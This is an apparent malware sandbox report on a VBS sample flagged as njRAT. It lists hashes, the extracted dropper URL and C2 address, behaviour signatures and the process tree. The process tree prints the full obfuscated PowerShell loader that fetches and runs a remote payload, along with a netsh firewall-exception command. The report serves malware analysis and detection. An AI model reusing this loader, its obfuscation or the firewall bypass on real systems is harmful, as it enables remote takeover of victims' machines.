Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10_x64 -
resource
win10-en -
submitted
16-09-2021 10:42
Static task
static1
General
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Target
982d8d494fe7ddecd60b8237affaf2da1399122099dae6b615bb9b6904ba0379.vbs
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Size
3KB
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MD5
48f019f8bdb3fce7e44649974ab2330f
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SHA1
25ce8749a17bf094e49673141032aa7b4e3893cb
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SHA256
982d8d494fe7ddecd60b8237affaf2da1399122099dae6b615bb9b6904ba0379
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SHA512
0387aee4aa180441e42fcbc35d46e16e889706a57be37e8b59f595efa8895b2b096e47738bcd626c0b4d8a9df942edf3162dbbd7f26315d5f5a47081c3c47480
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://54.184.87.30/Server.txt
Extracted
Family
njrat
Version
0.7d
Botnet
HacKed
C2
103.147.184.73:8319
Mutex
98d5ec0a408febb60524eab801ba601c
Attributes
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reg_key
98d5ec0a408febb60524eab801ba601c
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splitter
|'|'|
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 2 3952 powershell.exe -
Modifies Windows Firewall 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3952 set thread context of 3868 3952 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3952 powershell.exe 3952 powershell.exe 3952 powershell.exe -
Suspicious use of AdjustPrivilegeToken 36 IoCs
Processes:
powershell.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 3952 powershell.exe Token: SeDebugPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe Token: 33 3868 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 3868 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.exepowershell.exeaspnet_compiler.exedescription pid process target process PID 4020 wrote to memory of 3952 4020 WScript.exe powershell.exe PID 4020 wrote to memory of 3952 4020 WScript.exe powershell.exe PID 3952 wrote to memory of 3868 3952 powershell.exe aspnet_compiler.exe PID 3952 wrote to memory of 3868 3952 powershell.exe aspnet_compiler.exe PID 3952 wrote to memory of 3868 3952 powershell.exe aspnet_compiler.exe PID 3952 wrote to memory of 3868 3952 powershell.exe aspnet_compiler.exe PID 3952 wrote to memory of 3868 3952 powershell.exe aspnet_compiler.exe PID 3952 wrote to memory of 3868 3952 powershell.exe aspnet_compiler.exe PID 3952 wrote to memory of 3868 3952 powershell.exe aspnet_compiler.exe PID 3952 wrote to memory of 3868 3952 powershell.exe aspnet_compiler.exe PID 3868 wrote to memory of 3944 3868 aspnet_compiler.exe netsh.exe PID 3868 wrote to memory of 3944 3868 aspnet_compiler.exe netsh.exe PID 3868 wrote to memory of 3944 3868 aspnet_compiler.exe netsh.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\982d8d494fe7ddecd60b8237affaf2da1399122099dae6b615bb9b6904ba0379.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54H-H184H-H87H-H30/ServerH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/3868-140-0x00000000054F0000-0x00000000054F1000-memory.dmpFilesize
4KB
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memory/3868-138-0x0000000005910000-0x0000000005911000-memory.dmpFilesize
4KB
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memory/3868-143-0x0000000005730000-0x0000000005731000-memory.dmpFilesize
4KB
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memory/3868-142-0x00000000054B0000-0x00000000054B1000-memory.dmpFilesize
4KB
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memory/3868-132-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
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memory/3868-141-0x0000000005410000-0x000000000590E000-memory.dmpFilesize
5.0MB
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memory/3868-133-0x000000000040746E-mapping.dmp
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memory/3868-137-0x0000000005350000-0x0000000005351000-memory.dmpFilesize
4KB
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memory/3944-139-0x0000000000000000-mapping.dmp
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memory/3952-125-0x00000137EF5E0000-0x00000137EF5E1000-memory.dmpFilesize
4KB
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memory/3952-131-0x00000137EF5A0000-0x00000137EF5A4000-memory.dmpFilesize
16KB
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memory/3952-121-0x00000137ED5A0000-0x00000137ED5A2000-memory.dmpFilesize
8KB
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memory/3952-115-0x0000000000000000-mapping.dmp
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memory/3952-130-0x00000137ED5A6000-0x00000137ED5A8000-memory.dmpFilesize
8KB
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memory/3952-122-0x00000137ED5A3000-0x00000137ED5A5000-memory.dmpFilesize
8KB
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memory/3952-120-0x00000137EF430000-0x00000137EF431000-memory.dmpFilesize
4KB